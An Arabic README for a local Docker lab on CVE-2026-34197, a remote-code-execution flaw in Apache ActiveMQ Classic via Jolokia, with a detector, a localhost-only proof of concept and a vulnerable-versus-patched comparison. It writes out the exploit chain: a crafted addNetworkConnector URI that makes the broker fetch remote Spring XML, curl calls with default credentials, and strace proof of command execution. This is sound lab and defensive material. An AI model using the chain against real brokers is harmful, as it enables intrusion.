
مختبر Docker يوضح CVE-2026-34197، وهو ثغرة تنفيذ أكواد عن بُعد (RCE) في Apache ActiveMQ Classic عبر Jolokia. يتضمن كاشفًا آمنًا وإثبات مفهوم (PoC) محليًا فقط بأمر ثابت، مع مقارنة بين الإصدارات المعرضة للخطر والإصدارات المُصححة.
| الخدمة | الإصدار | الغرض | الرابط |
|---|
vuln | 5.19.3 | الهدف القابل للاستغلال | http://127.0.0.1:8081 |
patched | 5.19.4 | هدف المقارنة المُصحح | http://127.0.0.1:8082 |
يحتوي المستودع على سكربتين للإثبات:
| السكربت | الغرض | نموذج الأمان |
|---|---|---|
poc/detect.py | كاشف مصرح به | HTTP فقط؛ لا يستغل الثغرة |
poc/poc.py | إثبات مسار RCE محلي فقط | أمر ثابت فقط: id; whoami; sleep 5 |
يتم التحقق من دليل التنفيذ بشكل منفصل بواسطة المشغّل باستخدام أدوات مراقبة العمليات مثل strace.
تؤثر CVE-2026-34197 على إصدارات Apache ActiveMQ Classic حيث يمكن لمستخدم مُصادق استخدام واجهة Jolokia لاستدعاء عمليات إدارة الوسيط (Broker) والتسبب في تحميل JVM الخاص بالوسيط لملف Spring XML يتحكم فيه المهاجم عبر URI مُصمم مثل brokerConfig=xbean:http://....
التدفق القابل للاستغلال الموضح في هذا المختبر هو:
Jolokia /api/jolokia/
-> عملية MBean الخاصة بالوسيط
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> جلب Spring XML عن بُعد
-> تهيئة ProcessBuilder bean
-> أمر الإثبات المحلي الثابت
الخدمة المُصححة تمنع هذا المسار قبل جلب XML وتُرجع خطأ مشابهًا لما يلي:
VM scheme is not allowed
.
├── docker-compose.yml
├── vuln
│ └── Dockerfile
├── patched
│ └── Dockerfile
├── poc
│ ├── detect.py
│ └── poc.py
├── images
│ └── strace.png
├── README.md
└── .gitignore
docker-compose.yml يشغّل خدمتي ActiveMQ القابلة للاستغلال والمُصححة.vuln/Dockerfile يبني Apache ActiveMQ Classic 5.19.3.patched/Dockerfile يبني Apache ActiveMQ Classic 5.19.4.poc/detect.py يتحقق من تعرض Jolokia وإصدار ActiveMQ وظهور MBean الخاص بالوسيط.poc/poc.py يُطلق مسار RCE المحلي فقط باستخدام أمر ثابت غير ضار.images/strace.png يحتوي على دليل مراقبة العمليات المحلية من الخدمة القابلة للاستغلال..gitignore يستبعد الملفات المحلية وملفات ذاكرة Python المؤقتة والبيئات الافتراضية والسجلات والأسرار.هذا المستودع مخصص للاستخدام في المختبر المحلي والتحقق الأمني المصرح به فقط.
الـ PoC مقيد عمدًا:
id; whoami; sleep 5.strace.الأهداف المحلية المسموح بها لـ poc.py:
127.0.0.1
localhost
::1
لا تستخدم هذا المستودع ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
docker compose down -v
docker compose build
docker compose up -d
تحقق من حالة الخدمات:
docker compose ps
الخدمات المتوقعة:
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
تحقق من الخدمة القابلة للاستغلال:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
تحقق من الخدمة المُصححة:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
الإصدارات المتوقعة:
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
poc/detect.py هو السكربت الافتراضي الآمن. لا يستغل الهدف.
يتحقق من:
/api/jolokia/version متاحًا؛python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
النتيجة المتوقعة:
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
يصنف الكاشف الهدف على أنه LIKELY_VULNERABLE عندما:
Jolokia متاح
+
إصدار ActiveMQ ضمن النطاق المتأثر
النطاقات المتأثرة المستخدمة في هذا المختبر:
5.x < 5.19.4
6.x < 6.2.3
يُستخدم ظهور MBean الخاص بالوسيط كدليل ثقة لأن مسار الاستغلال يعتمد على عمليات إدارة الوسيط.
لا يدعي الكاشف CONFIRMED_RCE.
poc/poc.py يوضح مسار RCE في مختبر Docker المحلي.
يبدأ خادم HTTP مؤقتًا على المضيف ويقدم حمولة Spring XML في مسار فريد لكل تشغيل:
/evil-<nonce>.xml
ثم يستدعي MBean الخاص بوسيط ActiveMQ عبر Jolokia:
addNetworkConnector(java.lang.String)
مع URI اكتشاف مُصمم:
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)
الوسيط القابل للاستغلال يجلب هذا XML. الوسيط المُصحح يمنع مخطط نقل vm:// قبل جلب XML.
بعد تشغيل قابل للاستغلال، قد يعيد NetworkConnector المُنشأ محاولة جلب مسار XML القديم. يستخدم السكربت nonce فريدًا لكل تشغيل ويتتبع matches_current_run لتجنب النتائج الإيجابية الخاطئة.
يُحتسب الضغط فقط كتشغيل حالي إذا طابق:
/evil-<current-nonce>.xml
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
المخرجات المتوقعة:
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true
هذا يؤكد أن ActiveMQ 5.19.3 يمكن جعله يجلب Spring XML يتحكم فيه المهاجم عبر مسار الوسيط المُدار بواسطة Jolokia.
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
المخرجات المتوقعة:
VM scheme is not allowed
[-] No XML fetch observed for this run.
إذا ظهرت ضغطات من تشغيل قديم قابل للاستغلال، يجب أن تظهر:
"matches_current_run": false
لا تُحتسب هذه كنجاح للخدمة المُصححة.
سكربت PoC لا يجمع مخرجات الأوامر. لتأكيد تنفيذ الأوامر، راقب إنشاء العمليات داخل الحاوية القابلة للاستغلال.
ادخل إلى الحاوية القابلة للاستغلال كجذر:
docker exec -it --user root cve-2026-34197-vuln bash
ابحث عن عملية Java:
pgrep -af java
اربط strace بمعرف عملية Java:
strace -f -e execve -p <JAVA_PID>
في طرفية أخرى، شغّل PoC ضد الخدمة القابلة للاستغلال:
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
دليل strace المتوقع:
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)
هذا هو الدليل على مستوى نظام التشغيل أن أمر الإثبات الثابت تم تنفيذه بواسطة JVM الخاص بالوسيط.

يحاول PoC إزالة اسم NetworkConnector الافتراضي NC قبل التشغيل. هذا يحافظ على قابلية التنبؤ بتشغيلات المختبر المتكررة.
التنظيف اليدوي:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
-H 'Content-Type: application/json' \
-X POST \
http://127.0.0.1:8081/api/jolokia/ \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}' | python3 -m json.tool
أو أعد تشغيل المختبر:
docker compose restart vuln patched
| الاختبار | القابل للاستغلال 5.19.3 | المُصحح 5.19.4 |
|---|---|---|
detect.py | LIKELY_VULNERABLE | NOT_AFFECTED_BY_VERSION |
| الوصول إلى Jolokia | متاح مع المصادقة | متاح مع المصادقة |
| MBean الخاص بالوسيط | مرئي | مرئي |
جلب XML عبر poc.py | نعم | لا |
| توقيع الحظر في المُصحح | غير متاح | VM scheme is not allowed |
| دليل أوامر strace | /bin/sh -c 'id; whoami; sleep 5' | غير متوقع |